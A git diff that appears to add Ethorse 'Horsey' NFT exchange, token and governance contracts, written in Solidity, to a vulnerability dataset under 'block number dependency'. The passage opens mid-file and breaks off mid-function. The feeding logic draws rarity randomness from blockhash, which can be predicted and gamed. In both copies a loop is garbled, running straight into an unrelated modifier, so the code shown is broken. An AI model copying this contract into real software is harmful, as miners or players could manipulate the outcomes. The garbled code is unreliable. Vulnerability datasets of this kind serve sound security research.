getTokensOnSale(address user) external view returns(uint256[]) { + return userBarn[user]; + } + + + function getTokenPrice(uint256 tokenId) public view + isOnMarket(tokenId) returns (uint256) { + return market[tokenId].price + (market[tokenId].price / 100 * marketMakerFee); + } + + + function depositToExchange(uint256 tokenId, uint256 price) external + whenNotPaused() + isTokenOwner(tokenId) + nonZeroPrice(price) + tokenAvailable() { + require(token.getApproved(tokenId) == address(this),"Exchange is not allowed to transfer"); + + token.transferFrom(msg.sender, address(this), tokenId); + + + market[tokenId] = SaleData(price,msg.sender); + + + userBarn[msg.sender].push(tokenId); + + emit HorseyDeposit(tokenId, price); + } + + + function cancelSale(uint256 tokenId) external + whenNotPaused() + originalOwnerOf(tokenId) + tokenAvailable() returns (bool) { + + token.transferFrom(address(this),msg.sender,tokenId); + + + delete market[tokenId]; + + + _removeTokenFromBarn(tokenId, msg.sender); + + emit SaleCanceled(tokenId); + + + + return userBarn[msg.sender].length > 0; + } + + + function purchaseToken(uint256 tokenId) external payable + whenNotPaused() + isOnMarket(tokenId) + tokenAvailable() + notOriginalOwnerOf(tokenId) + { + + uint256 totalToPay = getTokenPrice(tokenId); + require(msg.value >= totalToPay, "Not paying enough"); + + + SaleData memory sale = market[tokenId]; + + + collectedFees += totalToPay - sale.price; + + + sale.owner.transfer(sale.price); + + + _removeTokenFromBarn(tokenId, sale.owner); + + + delete market[tokenId]; + + + + token.transferFrom(address(this), msg.sender, tokenId); + + + if(msg.value > totalToPay) + { + msg.sender.transfer(msg.value - totalToPay); + } + + emit HorseyPurchased(tokenId, msg.sender, totalToPay); + } + + + function withdraw() external + onlyOwner() + { + assert(collectedFees <= address(this).balance); + owner.transfer(collectedFees); + collectedFees = 0; + } + + + function _removeTokenFromBarn(uint tokenId, address barnAddress) internal { + uint256[] storage barnArray = userBarn[barnAddress]; + require(barnArray.length > 0,"No tokens to remove"); + int index = _indexOf(tokenId, barnArray); + require(index >= 0, "Token not found in barn"); + + + for (uint256 i = uint256(index); i 0,"Price is zero"); + _; + } + + + modifier tokenAvailable(){ + require(address(token) != 0,"Token address not set"); + _; + } +} + + + + +contract EthorseRace { + + + struct chronus_info { + bool betting_open; + bool race_start; + bool race_end; + bool voided_bet; + uint32 starting_time; + uint32 betting_duration; + uint32 race_duration; + uint32 voided_timestamp; + } + + address public owner; + + + chronus_info public chronus; + + + mapping (bytes32 => bool) public winner_horse; + + + function getCoinIndex(bytes32 index, address candidate) external constant returns (uint, uint, uint, bool, uint); +} + + +contract EthorseHelpers { + + + bytes32[] public all_horses = [bytes32("BTC"),bytes32("ETH"),bytes32("LTC")]; + mapping(address => bool) public legitRaces; + bool onlyLegit = false; + + + function _addHorse(bytes32 newHorse) internal { + all_horses.push(newHorse); + } + + function _addLegitRace(address newRace) internal + { + legitRaces[newRace] = true; + if(!onlyLegit) + onlyLegit = true; + } + + function getall_horsesCount() public view returns(uint) { + return all_horses.length; + } + + + function _isWinnerOf(address raceAddress, address eth_address) internal view returns (bool,bytes32) + { + + EthorseRace race = EthorseRace(raceAddress); + + + if(onlyLegit) + require(legitRaces[raceAddress],"not legit race"); + + bool voided_bet; + bool race_end; + (,,race_end,voided_bet,,,,) = race.chronus(); + + + if(voided_bet || !race_end) + return (false,bytes32(0)); + + + bytes32 horse; + bool found = false; + uint256 arrayLength = all_horses.length; + + + for(uint256 i = 0; i < arrayLength; i++) + { + if(race.winner_horse(all_horses[i])) { + horse = all_horses[i]; + found = true; + break; + } + } + + if(!found) + return (false,bytes32(0)); + + + uint256 bet_amount = 0; + (,,,, bet_amount) = race.getCoinIndex(horse, eth_address); + + + return (bet_amount > 0, horse); + } +} + + + +contract RoyalStablesInterface { + + struct Horsey { + address race; + bytes32 dna; + uint8 feedingCounter; + uint8 tier; + } + + mapping(uint256 => Horsey) public horseys; + mapping(address => uint32) public carrot_credits; + mapping(uint256 => string) public names; + address public master; + + function getOwnedTokens(address eth_address) public view returns (uint256[]); + function storeName(uint256 tokenId, string newName) public; + function storeCarrotsCredit(address client, uint32 amount) public; + function storeHorsey(address client, uint256 tokenId, address race, bytes32 dna, uint8 feedingCounter, uint8 tier) public; + function modifyHorsey(uint256 tokenId, address race, bytes32 dna, uint8 feedingCounter, uint8 tier) public; + function modifyHorseyDna(uint256 tokenId, bytes32 dna) public; + function modifyHorseyFeedingCounter(uint256 tokenId, uint8 feedingCounter) public; + function modifyHorseyTier(uint256 tokenId, uint8 tier) public; + function unstoreHorsey(uint256 tokenId) public; + function ownerOf(uint256 tokenId) public returns (address); +} + + +contract HorseyToken is EthorseHelpers,Pausable { + + + event Claimed(address raceAddress, address eth_address, uint256 tokenId); + + + event Feeding(uint256 tokenId); + + + event ReceivedCarrot(uint256 tokenId, bytes32 newDna); + + + event FeedingFailed(uint256 tokenId); + + + event HorseyRenamed(uint256 tokenId, string newName); + + + event HorseyFreed(uint256 tokenId); + + + RoyalStablesInterface public stables; + + + uint8 public carrotsMultiplier = 1; + + + uint8 public rarityMultiplier = 1; + + + uint256 public claimingFee = 0.000 ether; + + + struct FeedingData { + uint256 blockNumber; + uint256 horsey; + } + + + mapping(address => FeedingData) public pendingFeedings; + + + uint256 public renamingCostsPerChar = 0.001 ether; + + + constructor(address stablesAddress) + EthorseHelpers() + Pausable() public { + stables = RoyalStablesInterface(stablesAddress); + } + + + function setRarityMultiplier(uint8 newRarityMultiplier) external + onlyOwner() { + rarityMultiplier = newRarityMultiplier; + } + + + function setCarrotsMultiplier(uint8 newCarrotsMultiplier) external + onlyOwner() { + carrotsMultiplier = newCarrotsMultiplier; + } + + + function setRenamingCosts(uint256 newRenamingCost) external + onlyOwner() { + renamingCostsPerChar = newRenamingCost; + } + + + function setClaimingCosts(uint256 newClaimingFee) external + onlyOwner() { + claimingFee = newClaimingFee; + } + + + function addLegitRaceAddress(address newAddress) external + onlyOwner() { + _addLegitRace(newAddress); + } + + + function withdraw() external + onlyOwner() { + owner.transfer(address(this).balance); + } + + + + function addHorseIndex(bytes32 newHorse) external + onlyOwner() { + _addHorse(newHorse); + } + + + function getOwnedTokens(address eth_address) public view returns (uint256[]) { + return stables.getOwnedTokens(eth_address); + } + + + function can_claim(address raceAddress, address eth_address) public view returns (bool) { + bool res; + (res,) = _isWinnerOf(raceAddress, eth_address); + return res; + } + + + function claim(address raceAddress) external payable + costs(claimingFee) + whenNotPaused() + { + + bytes32 winner; + bool res; + (res,winner) = _isWinnerOf(raceAddress, msg.sender); + require(winner != bytes32(0),"Winner is zero"); + require(res,"can_claim return false"); + + uint256 id = _generate_special_horsey(raceAddress, msg.sender, winner); + emit Claimed(raceAddress, msg.sender, id); + } + + + function renameHorsey(uint256 tokenId, string newName) external + whenNotPaused() + onlyOwnerOf(tokenId) + costs(renamingCostsPerChar * bytes(newName).length) + payable { + uint256 renamingFee = renamingCostsPerChar * bytes(newName).length; + + if(msg.value > renamingFee) + { + msg.sender.transfer(msg.value - renamingFee); + } + + stables.storeName(tokenId,newName); + emit HorseyRenamed(tokenId,newName); + } + + + function freeForCarrots(uint256 tokenId) external + whenNotPaused() + onlyOwnerOf(tokenId) { + require(pendingFeedings[msg.sender].horsey != tokenId,""); + + uint8 feedingCounter; + (,,feedingCounter,) = stables.horseys(tokenId); + stables.storeCarrotsCredit(msg.sender,stables.carrot_credits(msg.sender) + uint32(feedingCounter * carrotsMultiplier)); + stables.unstoreHorsey(tokenId); + emit HorseyFreed(tokenId); + } + + + function getCarrotCredits() external view returns (uint32) { + return stables.carrot_credits(msg.sender); + } + + + function getHorsey(uint256 tokenId) public view returns (address, bytes32, uint8, string) { + RoyalStablesInterface.Horsey memory temp; + (temp.race,temp.dna,temp.feedingCounter,temp.tier) = stables.horseys(tokenId); + return (temp.race,temp.dna,temp.feedingCounter,stables.names(tokenId)); + } + + + function feed(uint256 tokenId) external + whenNotPaused() + onlyOwnerOf(tokenId) + carrotsMeetLevel(tokenId) + noFeedingInProgress() + { + pendingFeedings[msg.sender] = FeedingData(block.number,tokenId); + uint8 feedingCounter; + (,,feedingCounter,) = stables.horseys(tokenId); + stables.storeCarrotsCredit(msg.sender,stables.carrot_credits(msg.sender) - uint32(feedingCounter)); + emit Feeding(tokenId); + } + + + function stopFeeding() external + feedingInProgress() returns (bool) { + uint256 blockNumber = pendingFeedings[msg.sender].blockNumber; + uint256 tokenId = pendingFeedings[msg.sender].horsey; + + require(block.number - blockNumber >= 1,"feeding and stop feeding are in same block"); + + delete pendingFeedings[msg.sender]; + + + + if(block.number - blockNumber > 255) { + + + emit FeedingFailed(tokenId); + return false; + } + + + if(stables.ownerOf(tokenId) != msg.sender) { + + + emit FeedingFailed(tokenId); + return false; + } + + + _feed(tokenId, blockhash(blockNumber)); + bytes32 dna; + (,dna,,) = stables.horseys(tokenId); + emit ReceivedCarrot(tokenId, dna); + return true; + } + + + function() external payable { + revert("Not accepting donations"); + } + + + function _feed(uint256 tokenId, bytes32 blockHash) internal { + + uint8 tier; + uint8 feedingCounter; + (,,feedingCounter,tier) = stables.horseys(tokenId); + uint256 probabilityByRarity = 10 ** uint256(tier + 1); + uint256 randNum = uint256(keccak256(abi.encodePacked(tokenId, blockHash))) % probabilityByRarity; + + + if(randNum <= (feedingCounter * rarityMultiplier)){ + _increaseRarity(tokenId, blockHash); + } + + + + if(feedingCounter < 255) { + stables.modifyHorseyFeedingCounter(tokenId,feedingCounter+1); + } + } + + + function _makeSpecialId(address race, address sender, bytes32 coinIndex) internal pure returns (uint256) { + return uint256(keccak256(abi.encodePacked(race, sender, coinIndex))); + } + + + function _generate_special_horsey(address race, address eth_address, bytes32 coinIndex) internal returns (uint256) { + uint256 id = _makeSpecialId(race, eth_address, coinIndex); + + bytes32 dna = _shiftRight(keccak256(abi.encodePacked(race, coinIndex)),16); + + stables.storeHorsey(eth_address,id,race,dna,1,0); + return id; + } + + + function _increaseRarity(uint256 tokenId, bytes32 blockHash) private { + uint8 tier; + bytes32 dna; + (,dna,,tier) = stables.horseys(tokenId); + if(tier < 254) + stables.modifyHorseyTier(tokenId,tier+1); + uint256 random = uint256(keccak256(abi.encodePacked(tokenId, blockHash))); + + bytes32 rarityMask = _shiftLeft(bytes32(1), (random % 16 + 240)); + bytes32 newdna = dna | rarityMask; + stables.modifyHorseyDna(tokenId,newdna); + } + + + function _shiftLeft(bytes32 data, uint n) internal pure returns (bytes32) { + return bytes32(uint256(data)*(2 ** n)); + } + + + function _shiftRight(bytes32 data, uint n) internal pure returns (bytes32) { + return bytes32(uint256(data)/(2 ** n)); + } + + + modifier carrotsMeetLevel(uint256 tokenId){ + uint256 feedingCounter; + (,,feedingCounter,) = stables.horseys(tokenId); + require(feedingCounter <= stables.carrot_credits(msg.sender),"Not enough carrots"); + _; + } + + + modifier costs(uint256 amount) { + require(msg.value >= amount,"Not enough funds"); + _; + } + + + modifier validAddress(address addr) { + require(addr != address(0),"Address is zero"); + _; + } + + + modifier noFeedingInProgress() { + + require(pendingFeedings[msg.sender].blockNumber == 0,"Already feeding"); + _; + } + + + modifier feedingInProgress() { + + require(pendingFeedings[msg.sender].blockNumber != 0,"No pending feeding"); + _; + } + + + modifier onlyOwnerOf(uint256 tokenId) { + require(stables.ownerOf(tokenId) == msg.sender, "Caller is not owner of this token"); + _; + } +} + + + + + +contract HorseyPilot { + + + event NewProposal(uint8 methodId, uint parameter, address proposer); + + + event ProposalPassed(uint8 methodId, uint parameter, address proposer); + + + + uint8 constant votingThreshold = 2; + + + + uint256 constant proposalLife = 7 days; + + + + uint256 constant proposalCooldown = 1 days; + + + uint256 cooldownStart; + + + address public jokerAddress; + address public knightAddress; + address public paladinAddress; + + + address[3] public voters; + + + uint8 constant public knightEquity = 40; + uint8 constant public paladinEquity = 10; + + + address public exchangeAddress; + address public tokenAddress; + + + mapping(address => uint) internal _cBalance; + + + struct Proposal{ + address proposer; + uint256 timestamp; + uint256 parameter; + uint8 methodId; + address[] yay; + address[] nay; + } + + + Proposal public currentProposal; + + + bool public proposalInProgress = false; + + + uint256 public toBeDistributed; + + + bool deployed = false; + + + constructor( + address _jokerAddress, + address _knightAddress, + address _paladinAddress, + address[3] _voters + ) public { + jokerAddress = _jokerAddress; + knightAddress = _knightAddress; + paladinAddress = _paladinAddress; + + for(uint i = 0; i < 3; i++) { + voters[i] = _voters[i]; + } + + + cooldownStart = block.timestamp - proposalCooldown; + } + + + function deployChildren(address stablesAddress) external { + require(!deployed,"already deployed"); + + exchangeAddress = new HorseyExchange(); + tokenAddress = new HorseyToken(stablesAddress); + + + HorseyExchange(exchangeAddress).setStables(stablesAddress); + + deployed = true; + } + + + function transferJokerOwnership(address newJoker) external + validAddress(newJoker) { + require(jokerAddress == msg.sender,"Not right role"); + _moveBalance(newJoker); + jokerAddress = newJoker; + } + + + function transferKnightOwnership(address newKnight) external + validAddress(newKnight) { + require(knightAddress == msg.sender,"Not right role"); + _moveBalance(newKnight); + knightAddress = newKnight; + } + + + function transferPaladinOwnership(address newPaladin) external + validAddress(newPaladin) { + require(paladinAddress == msg.sender,"Not right role"); + _moveBalance(newPaladin); + paladinAddress = newPaladin; + } + + + function withdrawCeo(address destination) external + onlyCLevelAccess() + validAddress(destination) { + + + if(toBeDistributed > 0){ + _updateDistribution(); + } + + + uint256 balance = _cBalance[msg.sender]; + + + if(balance > 0 && (address(this).balance >= balance)) { + destination.transfer(balance); + _cBalance[msg.sender] = 0; + } + } + + + function syncFunds() external { + uint256 prevBalance = address(this).balance; + HorseyToken(tokenAddress).withdraw(); + HorseyExchange(exchangeAddress).withdraw(); + uint256 newBalance = address(this).balance; + + toBeDistributed = toBeDistributed + (newBalance - prevBalance); + } + + + function getNobleBalance() external view + onlyCLevelAccess() returns (uint256) { + return _cBalance[msg.sender]; + } + + + function makeProposal( uint8 methodId, uint256 parameter ) external + onlyCLevelAccess() + proposalAvailable() + cooledDown() + { + currentProposal.timestamp = block.timestamp; + currentProposal.parameter = parameter; + currentProposal.methodId = methodId; + currentProposal.proposer = msg.sender; + delete currentProposal.yay; + delete currentProposal.nay; + proposalInProgress = true; + + emit NewProposal(methodId,parameter,msg.sender); + } + + + function voteOnProposal(bool voteFor) external + proposalPending() + onlyVoters() + notVoted() { + + require((block.timestamp - currentProposal.timestamp) <= proposalLife); + if(voteFor) + { + currentProposal.yay.push(msg.sender); + + if( currentProposal.yay.length >= votingThreshold ) + { + _doProposal(); + proposalInProgress = false; + + return; + } + + } else { + currentProposal.nay.push(msg.sender); + + if( currentProposal.nay.length >= votingThreshold ) + { + proposalInProgress = false; + cooldownStart = block.timestamp; + return; + } + } + } + + + function _moveBalance(address newAddress) internal + validAddress(newAddress) { + require(newAddress != msg.sender); + _cBalance[newAddress] = _cBalance[msg.sender]; + _cBalance[msg.sender] = 0; + } + + + function _updateDistribution() internal { + require(toBeDistributed != 0,"nothing to distribute"); + uint256 knightPayday = toBeDistributed / 100 * knightEquity; + uint256 paladinPayday = toBeDistributed / 100 * paladinEquity; + + + uint256 jokerPayday = toBeDistributed - knightPayday - paladinPayday; + + _cBalance[jokerAddress] = _cBalance[jokerAddress] + jokerPayday; + _cBalance[knightAddress] = _cBalance[knightAddress] + knightPayday; + _cBalance[paladinAddress] = _cBalance[paladinAddress] + paladinPayday; + + toBeDistributed = 0; + } + + + function _doProposal() internal { + + if( currentProposal.methodId == 0 ) HorseyToken(tokenAddress).setRenamingCosts(currentProposal.parameter); + + + if( currentProposal.methodId == 1 ) HorseyExchange(exchangeAddress).setMarketFees(currentProposal.parameter); + + + if( currentProposal.methodId == 2 ) HorseyToken(tokenAddress).addLegitRaceAddress(address(currentProposal.parameter)); + + + if( currentProposal.methodId == 3 ) HorseyToken(tokenAddress).addHorseIndex(bytes32(currentProposal.parameter)); + + + if( currentProposal.methodId == 4 ) { + if(currentProposal.parameter == 0) { + HorseyExchange(exchangeAddress).unpause(); + HorseyToken(tokenAddress).unpause(); + } else { + HorseyExchange(exchangeAddress).pause(); + HorseyToken(tokenAddress).pause(); + } + } + + + if( currentProposal.methodId == 5 ) HorseyToken(tokenAddress).setClaimingCosts(currentProposal.parameter); + + + if( currentProposal.methodId == 8 ){ + HorseyToken(tokenAddress).setCarrotsMultiplier(uint8(currentProposal.parameter)); + } + + + if( currentProposal.methodId == 9 ){ + HorseyToken(tokenAddress).setRarityMultiplier(uint8(currentProposal.parameter)); + } + + emit ProposalPassed(currentProposal.methodId,currentProposal.parameter,currentProposal.proposer); + } + + + modifier validAddress(address addr) { + require(addr != address(0),"Address is zero"); + _; + } + + + modifier onlyCLevelAccess() { + require((jokerAddress == msg.sender) || (knightAddress == msg.sender) || (paladinAddress == msg.sender),"not c level"); + _; + } + + + + modifier proposalAvailable(){ + require(((!proposalInProgress) || ((block.timestamp - currentProposal.timestamp) > proposalLife)),"proposal already pending"); + _; + } + + + + modifier cooledDown( ){ + if(msg.sender == currentProposal.proposer && (block.timestamp - cooldownStart < 1 days)){ + revert("Cool down period not passed yet"); + } + _; + } + + + modifier proposalPending() { + require(proposalInProgress,"no proposal pending"); + _; + } + + + modifier notVoted() { + uint256 length = currentProposal.yay.length; + for(uint i = 0; i < length; i++) { + if(currentProposal.yay[i] == msg.sender) { + revert("Already voted"); + } + } + + length = currentProposal.nay.length; + for(i = 0; i < length; i++) { + if(currentProposal.nay[i] == msg.sender) { + revert("Already voted"); + } + } + _; + } + + + modifier onlyVoters() { + bool found = false; + uint256 length = voters.length; + for(uint i = 0; i < length; i++) { + if(voters[i] == msg.sender) { + found = true; + break; + } + } + if(!found) { + revert("not a voter"); + } + _; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/136.sol b/smart_contract_dataset/block number dependency/136.sol new file mode 100644 index 0000000000000000000000000000000000000000..8f17b682a5b50f1f56473d2dbe78442d44854c82 --- /dev/null +++ b/smart_contract_dataset/block number dependency/136.sol @@ -0,0 +1,1130 @@ +pragma solidity ^0.4.24; + + + + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + + + + +contract Pausable is Ownable { + event Pause(); + event Unpause(); + + bool public paused = false; + + + + modifier whenNotPaused() { + require(!paused); + _; + } + + + modifier whenPaused() { + require(paused); + _; + } + + + function pause() public onlyOwner whenNotPaused { + paused = true; + emit Pause(); + } + + + function unpause() public onlyOwner whenPaused { + paused = false; + emit Unpause(); + } +} + + + + +contract ERC721Receiver { + + bytes4 internal constant ERC721_RECEIVED = 0x150b7a02; + + + function onERC721Received( + address _operator, + address _from, + uint256 _tokenId, + bytes _data + ) + public + returns(bytes4); +} + + + +contract ERC721Holder is ERC721Receiver { + function onERC721Received( + address, + address, + uint256, + bytes + ) + public + returns(bytes4) + { + return ERC721_RECEIVED; + } +} + + + + +contract ERC721Basic { + function balanceOf(address _owner) public view returns (uint256 _balance); + function ownerOf(uint256 _tokenId) public view returns (address _owner); + function exists(uint256 _tokenId) public view returns (bool _exists); + + function approve(address _to, uint256 _tokenId) public; + function getApproved(uint256 _tokenId) public view returns (address _operator); + + function transferFrom(address _from, address _to, uint256 _tokenId) public; +} + + +contract HorseyExchange is Pausable, ERC721Holder { + + event HorseyDeposit(uint256 tokenId, uint256 price); + event SaleCanceled(uint256 tokenId); + event HorseyPurchased(uint256 tokenId, address newOwner, uint256 totalToPay); + + + uint256 public marketMakerFee = 3; + + + uint256 collectedFees = 0; + + + ERC721Basic public token; + + + struct SaleData { + uint256 price; + address owner; + } + + + mapping (uint256 => SaleData) market; + + + mapping (address => uint256[]) userBarn; + + + constructor() Pausable() ERC721Holder() public { + } + + + function setStables(address _token) external + onlyOwner() + { + require(address(_token) != 0,"Address of token is zero"); + token = ERC721Basic(_token); + } + + + function setMarketFees(uint256 fees) external + onlyOwner() + { + marketMakerFee = fees; + } + + + function getTokensOnSale(address user) external view returns(uint256[]) { + return userBarn[user]; + } + + + function getTokenPrice(uint256 tokenId) public view + isOnMarket(tokenId) returns (uint256) { + return market[tokenId].price + (market[tokenId].price / 100 * marketMakerFee); + } + + + function depositToExchange(uint256 tokenId, uint256 price) external + whenNotPaused() + isTokenOwner(tokenId) + nonZeroPrice(price) + tokenAvailable() { + require(token.getApproved(tokenId) == address(this),"Exchange is not allowed to transfer"); + + token.transferFrom(msg.sender, address(this), tokenId); + + + market[tokenId] = SaleData(price,msg.sender); + + + userBarn[msg.sender].push(tokenId); + + emit HorseyDeposit(tokenId, price); + } + + + function cancelSale(uint256 tokenId) external + whenNotPaused() + originalOwnerOf(tokenId) + tokenAvailable() returns (bool) { + + token.transferFrom(address(this),msg.sender,tokenId); + + + delete market[tokenId]; + + + _removeTokenFromBarn(tokenId, msg.sender); + + emit SaleCanceled(tokenId); + + + + return userBarn[msg.sender].length > 0; + } + + + function purchaseToken(uint256 tokenId) external payable + whenNotPaused() + isOnMarket(tokenId) + tokenAvailable() + notOriginalOwnerOf(tokenId) + { + + uint256 totalToPay = getTokenPrice(tokenId); + require(msg.value >= totalToPay, "Not paying enough"); + + + SaleData memory sale = market[tokenId]; + + + collectedFees += totalToPay - sale.price; + + + sale.owner.transfer(sale.price); + + + _removeTokenFromBarn(tokenId, sale.owner); + + + delete market[tokenId]; + + + + token.transferFrom(address(this), msg.sender, tokenId); + + + if(msg.value > totalToPay) + { + msg.sender.transfer(msg.value - totalToPay); + } + + emit HorseyPurchased(tokenId, msg.sender, totalToPay); + } + + + function withdraw() external + onlyOwner() + { + assert(collectedFees <= address(this).balance); + owner.transfer(collectedFees); + collectedFees = 0; + } + + + function _removeTokenFromBarn(uint tokenId, address barnAddress) internal { + uint256[] storage barnArray = userBarn[barnAddress]; + require(barnArray.length > 0,"No tokens to remove"); + int index = _indexOf(tokenId, barnArray); + require(index >= 0, "Token not found in barn"); + + + for (uint256 i = uint256(index); i 0,"Price is zero"); + _; + } + + + modifier tokenAvailable(){ + require(address(token) != 0,"Token address not set"); + _; + } +} + + + + +contract EthorseRace { + + + struct chronus_info { + bool betting_open; + bool race_start; + bool race_end; + bool voided_bet; + uint32 starting_time; + uint32 betting_duration; + uint32 race_duration; + uint32 voided_timestamp; + } + + address public owner; + + + chronus_info public chronus; + + + mapping (bytes32 => bool) public winner_horse; + + + function getCoinIndex(bytes32 index, address candidate) external constant returns (uint, uint, uint, bool, uint); +} + + +contract EthorseHelpers { + + + bytes32[] public all_horses = [bytes32("BTC"),bytes32("ETH"),bytes32("LTC")]; + mapping(address => bool) public legitRaces; + bool onlyLegit = false; + + + function _addHorse(bytes32 newHorse) internal { + all_horses.push(newHorse); + } + + function _addLegitRace(address newRace) internal + { + legitRaces[newRace] = true; + if(!onlyLegit) + onlyLegit = true; + } + + function getall_horsesCount() public view returns(uint) { + return all_horses.length; + } + + + function _isWinnerOf(address raceAddress, address eth_address) internal view returns (bool,bytes32) + { + + EthorseRace race = EthorseRace(raceAddress); + + + if(onlyLegit) + require(legitRaces[raceAddress],"not legit race"); + + bool voided_bet; + bool race_end; + (,,race_end,voided_bet,,,,) = race.chronus(); + + + if(voided_bet || !race_end) + return (false,bytes32(0)); + + + bytes32 horse; + bool found = false; + uint256 arrayLength = all_horses.length; + + + for(uint256 i = 0; i < arrayLength; i++) + { + if(race.winner_horse(all_horses[i])) { + horse = all_horses[i]; + found = true; + break; + } + } + + if(!found) + return (false,bytes32(0)); + + + uint256 bet_amount = 0; + (,,,, bet_amount) = race.getCoinIndex(horse, eth_address); + + + return (bet_amount > 0, horse); + } +} + + + +contract RoyalStablesInterface { + + struct Horsey { + address race; + bytes32 dna; + uint8 feedingCounter; + uint8 tier; + } + + mapping(uint256 => Horsey) public horseys; + mapping(address => uint32) public carrot_credits; + mapping(uint256 => string) public names; + address public master; + + function getOwnedTokens(address eth_address) public view returns (uint256[]); + function storeName(uint256 tokenId, string newName) public; + function storeCarrotsCredit(address client, uint32 amount) public; + function storeHorsey(address client, uint256 tokenId, address race, bytes32 dna, uint8 feedingCounter, uint8 tier) public; + function modifyHorsey(uint256 tokenId, address race, bytes32 dna, uint8 feedingCounter, uint8 tier) public; + function modifyHorseyDna(uint256 tokenId, bytes32 dna) public; + function modifyHorseyFeedingCounter(uint256 tokenId, uint8 feedingCounter) public; + function modifyHorseyTier(uint256 tokenId, uint8 tier) public; + function unstoreHorsey(uint256 tokenId) public; + function ownerOf(uint256 tokenId) public returns (address); +} + + +contract HorseyToken is EthorseHelpers,Pausable { + + + event Claimed(address raceAddress, address eth_address, uint256 tokenId); + + + event Feeding(uint256 tokenId); + + + event ReceivedCarrot(uint256 tokenId, bytes32 newDna); + + + event FeedingFailed(uint256 tokenId); + + + event HorseyRenamed(uint256 tokenId, string newName); + + + event HorseyFreed(uint256 tokenId); + + + RoyalStablesInterface public stables; + + + uint8 public carrotsMultiplier = 1; + + + uint8 public rarityMultiplier = 1; + + + uint256 public claimingFee = 0.000 ether; + + + struct FeedingData { + uint256 blockNumber; + uint256 horsey; + } + + + mapping(address => FeedingData) public pendingFeedings; + + + uint256 public renamingCostsPerChar = 0.001 ether; + + + constructor(address stablesAddress) + EthorseHelpers() + Pausable() public { + stables = RoyalStablesInterface(stablesAddress); + } + + + function setRarityMultiplier(uint8 newRarityMultiplier) external + onlyOwner() { + rarityMultiplier = newRarityMultiplier; + } + + + function setCarrotsMultiplier(uint8 newCarrotsMultiplier) external + onlyOwner() { + carrotsMultiplier = newCarrotsMultiplier; + } + + + function setRenamingCosts(uint256 newRenamingCost) external + onlyOwner() { + renamingCostsPerChar = newRenamingCost; + } + + + function setClaimingCosts(uint256 newClaimingFee) external + onlyOwner() { + claimingFee = newClaimingFee; + } + + + function addLegitRaceAddress(address newAddress) external + onlyOwner() { + _addLegitRace(newAddress); + } + + + function withdraw() external + onlyOwner() { + owner.transfer(address(this).balance); + } + + + + function addHorseIndex(bytes32 newHorse) external + onlyOwner() { + _addHorse(newHorse); + } + + + function getOwnedTokens(address eth_address) public view returns (uint256[]) { + return stables.getOwnedTokens(eth_address); + } + + + function can_claim(address raceAddress, address eth_address) public view returns (bool) { + bool res; + (res,) = _isWinnerOf(raceAddress, eth_address); + return res; + } + + + function claim(address raceAddress) external payable + costs(claimingFee) + whenNotPaused() + { + + bytes32 winner; + bool res; + (res,winner) = _isWinnerOf(raceAddress, msg.sender); + require(winner != bytes32(0),"Winner is zero"); + require(res,"can_claim return false"); + + uint256 id = _generate_special_horsey(raceAddress, msg.sender, winner); + emit Claimed(raceAddress, msg.sender, id); + } + + + function renameHorsey(uint256 tokenId, string newName) external + whenNotPaused() + onlyOwnerOf(tokenId) + costs(renamingCostsPerChar * bytes(newName).length) + payable { + uint256 renamingFee = renamingCostsPerChar * bytes(newName).length; + + if(msg.value > renamingFee) + { + msg.sender.transfer(msg.value - renamingFee); + } + + stables.storeName(tokenId,newName); + emit HorseyRenamed(tokenId,newName); + } + + + function freeForCarrots(uint256 tokenId) external + whenNotPaused() + onlyOwnerOf(tokenId) { + require(pendingFeedings[msg.sender].horsey != tokenId,""); + + uint8 feedingCounter; + (,,feedingCounter,) = stables.horseys(tokenId); + stables.storeCarrotsCredit(msg.sender,stables.carrot_credits(msg.sender) + uint32(feedingCounter * carrotsMultiplier)); + stables.unstoreHorsey(tokenId); + emit HorseyFreed(tokenId); + } + + + function getCarrotCredits() external view returns (uint32) { + return stables.carrot_credits(msg.sender); + } + + + function getHorsey(uint256 tokenId) public view returns (address, bytes32, uint8, string) { + RoyalStablesInterface.Horsey memory temp; + (temp.race,temp.dna,temp.feedingCounter,temp.tier) = stables.horseys(tokenId); + return (temp.race,temp.dna,temp.feedingCounter,stables.names(tokenId)); + } + + + function feed(uint256 tokenId) external + whenNotPaused() + onlyOwnerOf(tokenId) + carrotsMeetLevel(tokenId) + noFeedingInProgress() + { + pendingFeedings[msg.sender] = FeedingData(block.number,tokenId); + uint8 feedingCounter; + (,,feedingCounter,) = stables.horseys(tokenId); + stables.storeCarrotsCredit(msg.sender,stables.carrot_credits(msg.sender) - uint32(feedingCounter)); + emit Feeding(tokenId); + } + + + function stopFeeding() external + feedingInProgress() returns (bool) { + uint256 blockNumber = pendingFeedings[msg.sender].blockNumber; + uint256 tokenId = pendingFeedings[msg.sender].horsey; + + require(block.number - blockNumber >= 1,"feeding and stop feeding are in same block"); + + delete pendingFeedings[msg.sender]; + + + + if(block.number - blockNumber > 255) { + + + emit FeedingFailed(tokenId); + return false; + } + + + if(stables.ownerOf(tokenId) != msg.sender) { + + + emit FeedingFailed(tokenId); + return false; + } + + + _feed(tokenId, blockhash(blockNumber)); + bytes32 dna; + (,dna,,) = stables.horseys(tokenId); + emit ReceivedCarrot(tokenId, dna); + return true; + } + + + function() external payable { + revert("Not accepting donations"); + } + + + function _feed(uint256 tokenId, bytes32 blockHash) internal { + + uint8 tier; + uint8 feedingCounter; + (,,feedingCounter,tier) = stables.horseys(tokenId); + uint256 probabilityByRarity = 10 ** uint256(tier + 1); + uint256 randNum = uint256(keccak256(abi.encodePacked(tokenId, blockHash))) % probabilityByRarity; + + + if(randNum <= (feedingCounter * rarityMultiplier)){ + _increaseRarity(tokenId, blockHash); + } + + + + if(feedingCounter < 255) { + stables.modifyHorseyFeedingCounter(tokenId,feedingCounter+1); + } + } + + + function _makeSpecialId(address race, address sender, bytes32 coinIndex) internal pure returns (uint256) { + return uint256(keccak256(abi.encodePacked(race, sender, coinIndex))); + } + + + function _generate_special_horsey(address race, address eth_address, bytes32 